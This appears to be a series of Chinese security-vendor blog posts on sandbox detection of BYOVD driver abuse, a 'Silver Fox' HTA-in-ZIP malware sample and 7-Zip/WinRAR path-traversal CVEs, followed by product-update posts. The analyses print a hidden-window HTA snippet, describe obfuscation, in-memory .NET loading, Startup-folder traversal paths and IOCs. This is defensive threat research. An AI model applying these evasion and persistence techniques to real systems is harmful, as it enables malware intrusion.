
• 比对加载的驱动是否属于已知存在漏洞的 WHQL 签名驱动（如关联 CVE-2020-1884、CVE-2021-21551、CVE-2022-22047 等）；

• 识别非标准路径（如 %Temp%）下的驱动部署行为，标记为高风险。

2. 内核内存异常操作语义分析

通过天穹自研的内核行为监控框架，系统可捕获驱动加载后通过 DeviceIoControl 发起的 IOCTL 调用，并对其中的内存读写请求进行语义解析：

• 监控是否对 PsInitialSystemProcess 链表或 SeTokenObjectType 地址进行非预期访问；

• 识别令牌（Token）字段篡改行为，如 Token->Privileges 等的异常修改。

3. 杀软进程异常终止关联分析

• 当检测到某一新加载的内核模式驱动通过 IOCTL 调用 NtTerminateProcess 以终止进程；

• 并紧随其后观察到如 MsMpEng.exe（Microsoft Defender）或 360sd.exe（360杀毒）等安全软件进程发生非正常退出时，系统将触发 BYOVD 利用行为告警。

样本一：利用 BYOVD 技术终止进程

报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=93edd2d672880703055f91c4e58907dd&sk=64994015

通过天穹沙箱分析，系统在样本执行过程中捕获到以下行为：

• 进程加载了一个非系统签名的可疑驱动模块，并通过该驱动在内核模式下发起对 NtTerminateProcess 的直接调用；

• 随后，安全防护进程 MsMpEng.exe 被异常终止，且无正常的退出流程或用户交互；

• 该行为符合 T1211（Exploitation for Defense Evasion）攻击技术特征，疑似利用 BYOVD（Bring Your Own Vulnerable Driver，自带易受攻击驱动程序）技术绕过安全机制；

• 沙箱自动触发 BYOVD 技术利用高危告警，标识为【危险】级别。

基于天穹智能体理解 BYOVD 技术利用的原理：

样本二：已知 BYOVD 漏洞驱动检测

报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1af6491c0b3cf30d74ff78865024568a&sk=81858080

通过天穹沙箱分析，系统在样本执行过程中捕获到以下行为：

• 样本从临时目录 %AppData%\Temp\frAQBc8Wsa1xVPfv 加载了一个已知存在漏洞的合法驱动程序 PDFWKRNL.sys（哈希：0cf84400c09582ee2911a5b1582332c992d1cd29fcf811cb1dc00fcd61757db0）；

• 该驱动被用于执行内核级操作，以绕过安全机制并获取系统最高控制权；

• 沙箱自动触发 BYOVD 攻击高危告警，标识为【危险】级别。

样本三：内核漏洞利用检测

报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1af6491c0b3cf30d74ff78865024568a&sk=81858080

通过天穹沙箱分析，系统在样本执行过程中捕获到以下行为：

• 样本在用户态执行期间，通过构造特定内存布局及系统调用，触发了操作系统内核中的安全漏洞；

• 紧随其后，该进程成功将自身权限提升至 SYSTEM 级别，且提权过程绕过了正常的权限控制机制，无合法服务或用户授权介入；

• 沙箱基于行为语义与特权异常变更判断，自动触发“内核漏洞利用”高危告警，标识为【危险】级别。

恶意文件（MD5）

9e206d38770552252f724db40e952d38 
356de30e4c4aabef1559118556cb90a1
838f8f3d80f676272dd54c9811ee6ce2

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

阅读原文

跳转微信打开

01概述在天穹沙箱日常运营分析过程中，监测到扩展名为 .hta 的文件，但其实际文件头却显示为 ZIP 格式，

在天穹沙箱日常运营分析过程中，监测到扩展名为 .hta 的文件，但其实际文件头却显示为 ZIP 格式，表明这类样本在文件类型上存在刻意伪装。为探究其攻击手法与规避原理，我们对该样本展开了深入分析。

• 样本名：setupi.hta

• MD5：e5e3578329be22d26443d7f6c6690485

• SHA1：179e19367d82da0458f42ea7647236a3cda3fb71

• 文件类型：HTA

• 文件大小：5.17 MB

• 恶意家族：银狐

• 报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=e2a13eddd049d417bc3f5e21a64b0e95&sk=24181101

文件扩展名为 .hta，文件头信息实际为 50 4B 03 04，从文件头看属于 ZIP 文件。

但是文件中也包含 HTA 标签 <HTA:APPLICATION 标签。因此该样本的结构分为两部分：前面部分为 ZIP，后面部分为 HTA。

HTA（HTML 应用程序，HTML Application）是一个使用 HTML 和动态 HTML 构建的 Microsoft Windows 应用程序，运行在 Internet Explorer 中，并且支持其他的脚本语言，例如 VBS 和 JavaScript。HTML 用来创建用户界面，脚本语言则用来构建程序主体。HTA 运行时不受浏览器安全模型的限制，实际上，它就像是一个被“完全信任”的应用程序。在 Windows 上，由 mshta.exe 运行 .hta 文件，而 mshta.exe 主要依赖文件扩展名（.hta）来判断文件类型，mshta.exe 在读取 .hta 文件时，会扫描整个文件内容 (从头到尾)， 如果在某处发现合法的 HTML 标记 + 脚本 (例如 <HTA:APPLICATION>、<script>、VBScript / JScript 代码等)，就会把这些内容作为 HTA 应用来解析执行。

HTA 代码可以拼接到 ZIP 文件后面，还可以拼接到其他的文件 (例如 PDF、图片、BAT 脚本等) 的后面。Windows 的判断方式是基于文件扩展名(.hta)，而不是严格依据文件头，一些安全产品 (如邮件网关、反病毒软件等) 更倾向于根据文件内容来判断，它们可能将此类文件当成 ZIP（PDF、图片、BAT 脚本等）处理，从而绕过一些安全产品的文件内容检查，执行隐藏的恶意脚本。

该样本首先写入了一个名为 cmsadasd.dsadsad 的文件，并创建了大量可执行程序。其中 cmsadasd.dsadsad 文件包含一个合法的签名。

写入大量文件，如 longlq.cl、lua5.1.dll 等等。

复制文件到目录 c:\Users\Public\A4y3zC\、c:\ProgramData\6mjxfjhc\，复制后的文件名和目录名均是随机生成的。

创建了一些进程，如 9wa.exe、W2ey7yY.exe 等。

下载了一个 Chrome 安装程序，下载的目标文件是合法的官方安装程序文件。

运行下载的 Chrome 安装程序，以便静默执行恶意代码。

删除了文件 yyD.zip、9wa.exe、msys-1.0.dll。

域名访问，其中可疑域名为 xiaoshihou[.]name。

head 标签中的 JavaScript 脚本会让将浏览器窗口移动到屏幕坐标为 (-3000, -3000) 的位置，窗口被移动到屏幕外，并将窗口的大小缩小到 0x0。其目的是隐藏窗口，即使用户试图恢复该窗口，也无法看到它。

<HTA:APPLICATION> 标签属性如下：

• SHOWINTASKBAR=”no”：应用程序不会显示在任务栏上。

• WindowState=”hidden”：应用程序窗口启动时是隐藏的。

• INNERBORDER=”NO”：没有窗口的内边框。

• MAXIMIZEBUTTON=”NO”：没有最大化按钮，用户不能将窗口最大化。

• MINIMIZEBUTTON=”NO”：没有最小化按钮，用户不能将窗口最小化。

• SCROLL=”NO”：不显示滚动条。

• SELECTION=”NO”：禁用文本选择功能，用户无法选中文本。

• SINGLEINSTANCE=”YES”：只能运行一个实例，如果尝试运行第二个实例，系统会忽略它。

<htmllang="en">
<head>
<metacharset="UTF-8">
<metahttp-equiv="X-UA-Compatible"content="IE=9">
<METAHTTP-EQUIV="MSThemeCompatible"CONTENT="YES">
<script>
//console.log(111)
while(true){
try{
window.moveTo(-3000, -3000);
window.resizeTo(0, 0);
break;
}catch(e){}
}
</script>
<HTA:APPLICATIONSHOWINTASKBAR="no"WindowState="hidden"INNERBORDER="NO"MAXIMIZEBUTTON="NO"MINIMIZEBUTTON="NO"SCROLL="NO"SELECTION="NO"SINGLEINSTANCE="YES" />
</head>
<body>
</body>
</html>
<script>
</script>
<script>
......
</script>

第二个 JavaScript 脚本中包含大量混淆。

去混淆后的脚本中开头包含两个全局变量 serialized_obj4 和 serialized_obj3，经 Base64 编码。

以 serialized_obj4 为例，解码后的部分内容如下所示。解码后的内容显示了一个二进制数据的反序列化对象以及与 .NET 相关的一些类的结构，如序列化有关的 .NET 类 System.DelegateSerializationHolder，反射相关的类 System.Reflection.MemberInfoSerializationHolder ，以及一个 PE 文件。

这个 PE 文件实际上是 dll，dll 名称为 CshapeHostingBridageWrapperShowErrorWindow.dll，dll 中包含 SharpZipLib 全套组件，而 SharpZipLib 是一个完整的压缩与解压缩库。

其中的字符串被加密，存储在一个字符串数组中，在需要时调用函数动态解密字符串。字符串解密前，都会对数组中的字符串进行预处理，如移除不可见的 Unicode 字符 [U+202E]（右到左覆盖符）、正则表达式 /[MjUZEFmOtuniAhrRQt=]/g 移除 base64 干扰字符、通过 shift / push / pop 操作改变数组元素顺序等。

字符串解密算法为 Base64 + RC4。

分析浏览器的 navigator.userAgent 字符串关键词，实现对用户操作系统的名称和版本的检测。

脚本中的 codeRunner3 函数可以执行多种操作：

• 创建临时目录：在 C:\Users\Public 下创建随机命名的目录结构。

• 文件解压/释放：从内置资源或网络获取加密的恶意文件，解压到临时目录。

• 文件操作：复制、移动和重命名恶意文件，主要针对 .exe、.dll、.bat等可执行文件。

• 创建快捷方式：在启动文件夹创建恶意程序的快捷方式。

• 自启动注册：通过快捷方式实现系统启动时自动运行恶意代码。

• 进程创建：使用 WScript.Shell 的 Run 方法执行目标程序。

• 延迟执行：使用 Sleep 函数延迟执行。

dotnet4 函数会检测系统是否安装了 .NET Framework 4.0 ，base64 解码前面的 serialized_obj4 和 serialized_obj3 的内容，然后将解码的数据注入到内存中执行。

只在特定日期 2025/11/26 20:42:00 前有效，过期后自动停止执行。

函数 downloadFromYouDaoYun 支持从有道云存储服务下载加密的恶意负载。

恶意文件（MD5）

e5e3578329be22d26443d7f6c6690485
4fa09a60c9b0df80af1a9bac26c75f6b
1d98648e97fa1dd0a5befa07018aecae
3c81e25ae167b188fea030c86ca1dc63
009d53d4049374836e15737821054f89

恶意 IOC

xiaoshihou[.]name
202.95.6[.]233

报告链接
分析报告：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=e2a13eddd049d417bc3f5e21a64b0e95&sk=24181101

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

阅读原文

跳转微信打开

01

概述

在 Windows 系统中，压缩包（如 RAR、ZIP、7z 等）作为常见的文件分发载体，因其便捷性和通用性被广泛使用。然而，攻击者常利用压缩软件的目录穿越漏洞（如 CVE-2025-8088），通过构造恶意压缩包将恶意载荷写入系统关键路径（如启动项、系统目录等），实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大，且传统静态检测难以有效识别。

为应对这一威胁，天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为，实时捕获文件写入路径，精准识别包含 ..\、绝对路径、UNC 路径等高危操作，有效还原攻击者的真实意图。

当前主流压缩包目录穿越攻击主要包括以下几类：

1、路径遍历（Path Traversal）

压缩包内构造包含 ..\..\..\ 的文件路径，诱导解压程序将文件写入非预期目录。例如：

\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe

2、绝对路径写入

部分压缩格式（如 RAR）支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径，绕过用户预期目录限制。

3、UNC 路径利用

通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径，绕过常规路径校验逻辑，实现任意位置写入。

样本上传

上传样本到天穹沙箱(https://sandbox.qianxin.com)，即可快速准确地检测未知样本恶意行径，操作步骤如下：

1. 浏览器打开天穹智能分析平台，点击天穹沙箱；

2. 选择分析环境及配置项，如图 1 所示，选择 Windows x64 作为分析系统，配置自动解压开关为 OFF，点击确认选择；
   

   图1 分析配置

3. 上传样本，点击上传区域选择样本上传或将样本拖至上传区域即可上传样本，如图 2 所示，等待沙箱分析结束。
   

   图2 上传样本

检测能力

样本一：7z目录穿越利用（CVE-2025-11001）

报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=77444fbffa03379101f2f9346571d372&sk=04464385

漏洞原理：CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接（Symbolic Links）时存在安全缺陷。具体来说，当 7-Zip 解压包含符号链接的 ZIP 文件时，未能正确验证符号链接指向的目标路径，导致攻击者可以构造恶意的 ZIP 压缩包，其中包含指向系统关键目录（如系统目录、程序目录等）的符号链接。

经天穹沙箱分析，在 7z 解压过程中捕获到以下行为，如图 3 所示:

• 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe；

• 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\；

• 沙箱触发“目录穿越”高危告警。

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息，如图 4 所示，智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息，并以脑图形式直观展示分析结果之间的关联和层级结构。

样本二：winrar 目录穿越利用（CVE-2025-8088）

报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=d84b10e5be84f7a208f4a0e8157d675e&sk=54695392

漏洞原理：WinRAR 在解析压缩文件时存在路径校验逻辑缺陷，未对压缩包内嵌的 NTFS 备用数据流（ADS）及路径跳转符号（如 ..\）进行严格过滤。攻击者可利用此缺陷构造恶意压缩包，通过 ADS 特性隐藏恶意文件，并结合路径遍历技术突破解压目录限制，最终将文件写入系统敏感路径（如启动目录）。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径，如图 5 所示：

1. 触发解压：用户双击恶意压缩包，系统调用 WinRAR.exe 启动解压流程；

2. 路径篡改：WinRAR 在解析压缩包时，未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令（如 ..\Startup\payload.exe），将目标解压路径动态指向系统启动目录（C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup）；

3. 越权写入：WinRAR 绕过用户指定的解压目录（如 C:\Downloads），直接将恶意文件写入启动目录，完成持久化驻留。

恶意文件（SHA256）

ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9 
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

阅读原文

跳转微信打开

DataCon2025报名开启，欢迎大家报名参加！

阅读原文

跳转微信打开

ReCopilot 是一个基于大模型的二进制程序分析辅助系统，针对逆向工程中符号信息缺失和人工依赖程度高的核心挑战，提出垂域大模型与程序分析协同优化的智能助手方案。

• 了解 ReCopilot 的核心方案

• 掌握 ReCopilot 的性能优势

• 把握领域探索方向

阅读原文

跳转微信打开

天穹智能分析平台近期完成全面升级，新增多项功能，并根据用户反馈进行了系统性优化。

天穹智能分析平台近期完成全面升级，新增多项功能，并根据用户反馈进行了系统性优化。本次升级重点体现在以下三个方面：

1. 情报智能体正式上线；

2. 智能问答响应速度显著提升；

3. 样本与网络地址详情页全面更新。

平台地址：sandbox.qianxin.com

接下来，我们将详细介绍每一项升级内容。

在此前的更新中，我们已经通过天穹沙箱的智能拓线功能初步体验了智能体的便捷与强大。本次更新，我们正式将情报智能体引入智能搜索，极大提升了智能体在面对复杂问题的处理能力，并能进一步提升回答深度和广度。

下面，我们以情报、狩猎和固件下载三个领域为示例，演示在哪些场景可开启智能体，以及如何使用智能体。

情报分析

例如，我们要求智能体针对以下情报问题进行深度分析：

🔍 分析APT37组织在过去一年的活动，并对收集的IOC进行分析和拓线

在搜索框输入问题，点击智能体按钮，即可开启智能体模式，如图1所示：

接下来，我们会进入智能体页面，智能体首先会根据问题制定一份详细的方案，此模式为计划模式，如图2所示：

询问用户是否确认此方案，如图3所示：

如果对方案不满意，可以选择否，并提出其他需求。例如，我们要求智能体进一步查询样本的沙箱分析报告，如图4所示：

将需求发送后，智能体会重新制定一份方案。如图5所示，在新的方案中已经包含了提的新需求：

确认方案后，智能体将进入执行模式。

在页面左侧天穹智能体部分，我们可以看到智能体的工具调用信息，包括工具名、调用参数和工具返回结果，如图6所示：

在右侧的智能体思维链部分，我们可以看到智能体对每一轮操作的描述和总结，方便随时查看智能体任务进度，如图7所示：

值得一提的是，本次升级上线了12款MCP工具，涵盖以下四个领域：

• 情报检索

• APT组织画像

• 样本拓线

• IOC查询

后续我们会持续关注与更新，引入更多强大和实用的MCP工具，进一步拓展智能体的能力边界。另外，您可以查看工具调用参数、返回结果和思维链，深入了解MCP工具和智能体。

任务完成后，右侧将展示完整的分析报告，顶部可复制、全屏查看、下载报告，如图8所示。此前的思维链将默认折叠，可滑动到报告底部展开查看。

以下是智能体生成的完整分析报告，可看到智能体收集了一年以来有关APT37组织的情报，给出了详细的攻击时间线，并按照要求对IOC进行进一步拓线分析，如图9所示：

如果对输出报告不满意，可以要求智能体进一步修改，如图10所示，智能体将重新生成报告，此处不再赘述。

威胁狩猎

在日常样本分析过程中，我们常常需要搜索特定名称、家族、时间范围等特征的样本，例如：

🔍 收集近期文件名中包含”名单”、“票”或“简历”的高危样本

可以看到，智能体不仅准确列出了样本IOC信息，还按照静态、动态对样本进行分类，并进一步对样本进行了关联分析，输出内容详实可靠，如图11所示：

固件下载

对于IoT设备分析人员而言，精准定位特定型号与版本的官方固件下载地址是开展安全研究的关键前置步骤。例如：

🔍 查找 TP-Link Archer VR400 固件下载地址

智能体成功识别并汇总了该设备多个官方固件版本的下载链接，同时标注了每个固件的文件大小，便于用户快速比对与选择。更重要的是，智能体还对所有链接进行了威胁情报筛查，主动过滤非官方来源、第三方托管或已失效的链接，确保结果安全、可靠、有效，显著提升研究人员的工作效率与安全性，如图12所示。

通过持续资源升级与模型优化，智能问答的响应速度大幅提升，回答耗时由原来的1分30秒缩短至30秒，如图13所示。

此前版本的样本和网络地址详情页存在信息密度低、内容不全的问题，经过全面改进，新版详情页信息密度显著提升，能够展示更多高价值数据，以下是具体的升级内容。

样本详情页

样本详情页在升级后，可以更加便捷的查看样本关联情报、引擎告警、静态信息、网络行为、沙箱报告和威胁配置，如图14所示：

网络详情页

网络地址详情页在升级后，可以更加便捷的查看网络地址关联情报、关联样本、和 Whois 信息，如图15所示：

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

阅读原文

跳转微信打开

祝老师们教师节快乐！

阅读原文

跳转微信打开